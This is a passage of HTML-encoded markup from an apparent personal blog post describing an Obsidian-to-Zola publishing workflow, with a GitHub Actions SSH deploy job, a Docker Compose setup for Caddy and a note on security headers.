&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;const&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-constant&quot;&gt; tagArray&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tags&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable&quot;&gt;tag&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tag&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;let&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tag&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; of&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other&quot;&gt; tagArray&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; -&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;lt;% tag %&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; -&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;lang&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;en&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;toc&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;copy&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;featured&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;comment&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;reaction&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;math&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;mermaid&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;outdate_alert&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;outdate_alert_days&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; 120&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;--&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Shell Commands Plugin&lt;&#x2F;strong&gt;: Executes the synchronization script directly from Obsidian, so I can publish posts without leaving my writing environment.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-synchronization-script&quot;&gt;2. Synchronization Script&lt;a class=&quot;zola-anchor&quot; href=&quot;#2-synchronization-script&quot; aria-label=&quot;Anchor link for: 2-synchronization-script&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;p&gt;The Python synchronization script (available at &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;b1scoito&#x2F;biscoito.eu&#x2F;blob&#x2F;main&#x2F;scripts&#x2F;sync_posts.py&quot;&gt;my GitHub repository&lt;&#x2F;a&gt;) handles the conversion from Obsidian&#x27;s YAML frontmatter to Zola&#x27;s TOML format. It only updates files that have actually changed and can automatically commit and push changes to the GitHub repository.&lt;&#x2F;p&gt;
&lt;p&gt;Key features:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;YAML to TOML frontmatter conversion&lt;&#x2F;li&gt;
&lt;li&gt;Change detection to avoid unnecessary updates&lt;&#x2F;li&gt;
&lt;li&gt;Automatic file cleanup for deleted posts&lt;&#x2F;li&gt;
&lt;li&gt;Git integration for seamless version control&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-automated-deployment-with-github-actions&quot;&gt;3. Automated Deployment with GitHub Actions&lt;a class=&quot;zola-anchor&quot; href=&quot;#3-automated-deployment-with-github-actions&quot; aria-label=&quot;Anchor link for: 3-automated-deployment-with-github-actions&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;p&gt;The GitHub workflow triggers on every push to the main branch:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;n&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ame&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; B&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;uild and Deploy Zola Site&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-constant&quot;&gt;on&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;  p&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ush&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    b&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ranches&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; m&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;ain&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;j&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;obs&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;  b&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;uild-and-deploy&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    r&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;uns-on&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; u&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;buntu-latest&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    s&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;teps&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt; n&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ame&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; C&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;heckout&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        u&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; a&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;ctions&#x2F;checkout@v4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ith&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          s&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ubmodules&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; r&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;ecursive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt; n&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ame&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; I&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;nstall Zola&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        u&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; t&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;aiki-e&#x2F;install-action@zola&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt; n&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ame&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; B&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;uild Site&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        r&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;un&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; z&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;ola build&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt; n&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ame&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; D&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;eploy to Server&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        u&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; e&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;asingthemes&#x2F;ssh-deploy@main&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;        w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ith&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          S&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;SH_PRIVATE_KEY&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;{{ secrets.VPS_SSH_PRIVATE_KEY }}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          R&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;EMOTE_HOST&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;{{ secrets.VPS_HOST }}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          R&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;EMOTE_USER&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;{{ secrets.VPS_USER }}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          R&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;EMOTE_PORT&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;{{ secrets.VPS_PORT }}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          T&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ARGET&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;{{ secrets.VPS_TARGET_DIR }}&#x2F;public&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          S&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;OURCE&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;public&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          E&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;XCLUDE&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&#x2F;.git&#x2F;, &#x2F;.github&#x2F;, &#x2F;.obsidian&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;          A&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;RGS&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;-rltgoDzvO --delete&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;4-production-environment&quot;&gt;4. Production Environment&lt;a class=&quot;zola-anchor&quot; href=&quot;#4-production-environment&quot; aria-label=&quot;Anchor link for: 4-production-environment&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;p&gt;The VPS runs Caddy in a Docker container with good security and performance:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose Configuration&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;s&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ervices&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;  c&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;addy&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    i&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;mage&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; c&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;addy:latest&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    c&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;ontainer_name&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; c&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;addy&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    r&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;estart&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; u&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;nless-stopped&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    p&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;orts&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;80:80&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;443:443&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;443:443&#x2F;udp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;    v&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;olumes&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; .&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&#x2F;Caddyfile:&#x2F;etc&#x2F;caddy&#x2F;Caddyfile:ro&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;var&#x2F;www&#x2F;biscoito.eu:&#x2F;usr&#x2F;share&#x2F;caddy:ro&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; c&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;addy_data:&#x2F;data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; c&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;addy_config:&#x2F;config&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;olumes&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;  c&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;addy_data&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;  c&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;addy_config&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Caddyfile with Security Headers&lt;&#x2F;strong&gt;: The Caddyfile includes comprehensive security headers for an A+ rating on security scanners, with Content Security Policy, HSTS, and other modern web security standards.&lt;&#x2F;p&gt;
